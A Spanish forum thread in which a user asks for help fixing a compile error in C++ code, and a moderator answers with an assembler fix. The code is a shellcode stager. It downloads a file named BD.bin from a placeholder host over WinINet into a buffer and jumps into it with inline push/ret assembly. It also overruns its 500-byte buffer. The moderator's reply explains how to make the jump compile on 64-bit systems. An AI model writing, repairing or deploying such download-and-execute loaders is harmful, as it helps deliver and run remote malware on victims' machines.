elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderadores: Eternal Idol, Littlehorse, K-YreX)
| | |-+  C++ error al compilar (recipe for target 'BD.o' failed) (Error: operand type mismatch for `push')
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: C++ error al compilar (recipe for target 'BD.o' failed) (Error: operand type mismatch for `push')  (Leído 2,687 veces)
DonJuanPinorio

Desconectado Desconectado

Mensajes: 2


Ver Perfil
C++ error al compilar (recipe for target 'BD.o' failed) (Error: operand type mismatch for `push')
« en: 8 Febrero 2021, 22:46 pm »

Tengo Problemas ya que al compilar me da estos dos errores y sobre todo el de (Error: operand type mismatch for `push') no soy capaz de solucionarlo ya que el error (recipe for target 'BD.o' failed) puede ser culpa del primero. Gracias si alguien me ayuda

Por si alguien tiene curiosidad el codigo es el siguiente:
====================================
Código
  1. #include <windows.h>
  2. #include<iostream>
  3. #include<cstring>
  4. #include<Wininet.h>
  5. using namespace std;
  6.  
  7. unsigned char DataReceived[500];
  8. int main(){
  9. int i;
  10.  
  11. HINTERNET connect = InternetOpen("MyBrowser",INTERNET_OPEN_TYPE_PRECONFIG,NULL, NULL, 0);
  12.  
  13. if(!connect){
  14. cout<<"Connection Failed or Syntax error";
  15. return 0;
  16. }
  17.  
  18. HINTERNET OpenAddress = InternetOpenUrl(connect,"http://(aqui tu ip)/share/BD.bin", NULL, 0, INTERNET_FLAG_PRAGMA_NOCACHE|INTERNET_FLAG_KEEP_CONNECTION, 0);
  19.  
  20.  
  21. if ( !OpenAddress )
  22. {
  23. DWORD ErrorNum = GetLastError();
  24. cout<<"Failed to open URL \nError No: "<<ErrorNum;
  25. InternetCloseHandle(connect);
  26. return 0;
  27. }
  28.  
  29. DWORD NumberOfBytesRead = 0;
  30.  
  31.  
  32. while(InternetReadFile(OpenAddress, DataReceived, 4096, &NumberOfBytesRead) && NumberOfBytesRead )
  33. {
  34.  
  35. for(i=0;i<sizeof DataReceived; i++ ){
  36.  
  37. printf("\\x%02x",DataReceived[i]);
  38.  
  39. }
  40.  
  41. __asm ("lea _DataReceived, %eax");
  42. __asm ("push %eax");
  43. __asm ("ret");
  44. }
  45.  
  46. InternetCloseHandle(OpenAddress);
  47. InternetCloseHandle(connect);
  48.  
  49. return 0;
  50. }
  51. ==================================================
  52.  


[MOD] Usar las etiquetas GeSHi para publicar codigo.


« Última modificación: 8 Febrero 2021, 23:02 pm por simorg » En línea

K-YreX
Moderador
***
Desconectado Desconectado

Mensajes: 1.008



Ver Perfil
Re: C++ error al compilar (recipe for target 'BD.o' failed) (Error: operand type mismatch for `push')
« Respuesta #1 en: 8 Febrero 2021, 23:18 pm »

No recuerdo mucho de ensamblador desde que lo estudié pero buscando un poco en Internet he encontrado este enlace dónde parece que está bien explicado: https://stackoverflow.com/questions/21245245/c-uses-assemble-operand-type-mismatch-for-push

Resumiendo: si utilizas 'push' sin un sufijo 'w/l/q' para 16/32/64 bits respectivamente, el ensamblador determinará cuál es el sufijo más apropiado. Como %eax es de 32 bits, utilizará 'pushl' pero las máquinas con arquitecturas de 64 bits no soportan esa operación de 32 bits.
Solución: Utilizar 'pushq %rax' y trabajar con el registro de 64 bits.

Como ya digo, no tengo mucha experiencia y lo que he dicho está básicamente sacado del enlace a stackoverflow. Espero que te sirva y en caso contrario, siempre puedes echar un vistazo tú mismo a las respuestas por si encuentras algo que te sirva.

Suerte  :-X


En línea

Código
  1. cout << "Todos tenemos un defecto, un error en nuestro código" << endl;
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Error: Type Mismacht
Programación Visual Basic
& eDu & 3 1,822 Último mensaje 30 Junio 2008, 17:32 pm
por seba123neo
problema SQL Injection: Type mismatch: 'CDBL'
Nivel Web
slackbyte 3 6,432 Último mensaje 3 Mayo 2009, 06:13 am
por slackbyte
type mismatch
Java
m@o_614 1 1,978 Último mensaje 11 Junio 2012, 21:34 pm
por 1mpuls0
ayuda! error: lvalve required as left operand of assignmet
Programación C/C++
NicoSanhueza 1 1,810 Último mensaje 1 Mayo 2018, 18:08 pm
por engel lex
Error al compilar, error de linker: Undefined reference to...
Programación C/C++
danissj 5 2,897 Último mensaje 26 Septiembre 2018, 22:56 pm
por danissj
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines